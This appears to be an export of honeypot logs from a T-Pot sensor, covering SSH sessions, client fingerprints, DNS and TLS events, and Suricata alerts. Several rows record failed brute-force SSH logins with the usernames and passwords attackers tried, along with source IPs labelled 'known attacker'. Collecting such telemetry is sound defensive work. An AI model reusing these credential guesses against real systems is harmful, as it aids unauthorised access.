"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
44322	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:35:20.584527+03	2021-09-20 16:45:01.506564+03	{"_id": "8AZrA3wBvYTbRNuEEaYg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:20.584527Z", "@timestamp": "2021-09-20T13:35:20.584Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30821	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:44.75377+03	2021-09-20 14:45:03.672142+03	{"_id": "UgYAA3wBvYTbRNuEUj_I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47958, "timestamp": "2021-09-20T11:38:44.753770", "@timestamp": "2021-09-20T11:38:44.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30822	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:38:45.210311+03	2021-09-20 14:45:03.674142+03	{"_id": "WQYAA3wBvYTbRNuEVT-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19741, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 321, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 4387087134411, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42352, "timestamp": "2021-09-20T11:38:45.210311Z", "@timestamp": "2021-09-20T11:38:45.210Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30823	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:45.261436+03	2021-09-20 14:45:03.676142+03	{"_id": "XAYAA3wBvYTbRNuEVj-x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35478, "dest_port": 443, "timestamp": "2021-09-20T11:38:45.261436", "@timestamp": "2021-09-20T11:38:45.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30824	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:38:45.826413+03	2021-09-20 14:45:03.677142+03	{"_id": "XQYAA3wBvYTbRNuEVz_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [alfresco/123456] failed", "session": "205a87a86066", "@version": "1", "password": "123456", "username": "alfresco", "timestamp": "2021-09-20T11:38:45.826413Z", "@timestamp": "2021-09-20T11:38:45.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30825	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:38:47.09302+03	2021-09-20 14:45:03.678142+03	{"_id": "XwYAA3wBvYTbRNuEWz_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "205a87a86066", "@version": "1", "duration": 2.5918984413146973, "timestamp": "2021-09-20T11:38:47.093020Z", "@timestamp": "2021-09-20T11:38:47.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30826	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:38:48.776946+03	2021-09-20 14:45:03.679142+03	{"_id": "YQYAA3wBvYTbRNuEYT9Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 2014573515807370, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51376, "dest_port": 22, "timestamp": "2021-09-20T11:38:48.776946Z", "@timestamp": "2021-09-20T11:38:48.776Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30827	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:48.739684+03	2021-09-20 14:45:03.680141+03	{"_id": "YwYAA3wBvYTbRNuEYj9q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51376, "timestamp": "2021-09-20T11:38:48.739684", "@timestamp": "2021-09-20T11:38:48.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30828	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:38:41.287065+03	2021-09-20 14:45:03.682143+03	{"_id": "PgYAA3wBvYTbRNuERD9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:35400 (192.168.176.2:22) [session: a1f577fe5a7f]", "session": "a1f577fe5a7f", "@version": "1", "protocol": "ssh", "src_port": 35400, "dest_port": 22, "timestamp": "2021-09-20T11:38:41.287065Z", "@timestamp": "2021-09-20T11:38:41.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30829	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:38:41.29009+03	2021-09-20 14:45:03.683141+03	{"_id": "PwYAA3wBvYTbRNuERD9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a1f577fe5a7f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:41.290090Z", "@timestamp": "2021-09-20T11:38:41.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30830	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:38:41.568872+03	2021-09-20 14:45:03.684141+03	{"_id": "QQYAA3wBvYTbRNuERT_8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 1458126142379746, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35400, "dest_port": 22, "timestamp": "2021-09-20T11:38:41.568872Z", "@timestamp": "2021-09-20T11:38:41.568Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30831	81.71.14.9	109.199.241.180	Fatt	2021-09-20 14:38:41.568952+03	2021-09-20 14:45:03.685142+03	{"_id": "RAYAA3wBvYTbRNuERz8P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35400, "dest_port": 22, "timestamp": "2021-09-20T11:38:41.568952", "@timestamp": "2021-09-20T11:38:41.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30832	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:38:41.569216+03	2021-09-20 14:45:03.686142+03	{"_id": "RQYAA3wBvYTbRNuESD9F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a1f577fe5a7f", "@version": "1", "timestamp": "2021-09-20T11:38:41.569216Z", "@timestamp": "2021-09-20T11:38:41.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30833	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:38:42.788466+03	2021-09-20 14:45:03.688145+03	{"_id": "RgYAA3wBvYTbRNuETD8u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.failed", "message": "login attempt [oracle/zaq!xsw@] failed", "session": "a1f577fe5a7f", "@version": "1", "password": "zaq!xsw@", "username": "oracle", "timestamp": "2021-09-20T11:38:42.788466Z", "@timestamp": "2021-09-20T11:38:42.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30834	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:38:44.756499+03	2021-09-20 14:45:03.689143+03	{"_id": "UQYAA3wBvYTbRNuEUj_I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47958, "dest_port": 22, "timestamp": "2021-09-20T11:38:44.756499", "@timestamp": "2021-09-20T11:38:44.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30835	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:38:56.000319+03	2021-09-20 14:45:03.690142+03	{"_id": "jgYAA3wBvYTbRNuEiD9t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:55.735655+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 459048026847655, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 44221, "timestamp": "2021-09-20T11:38:56.000319Z", "@timestamp": "2021-09-20T11:38:56.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31356	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:07.369763+03	2021-09-20 14:45:04.379141+03	{"_id": "SgYFA3wBvYTbRNuEPkNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:07.369763Z", "@timestamp": "2021-09-20T11:44:07.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
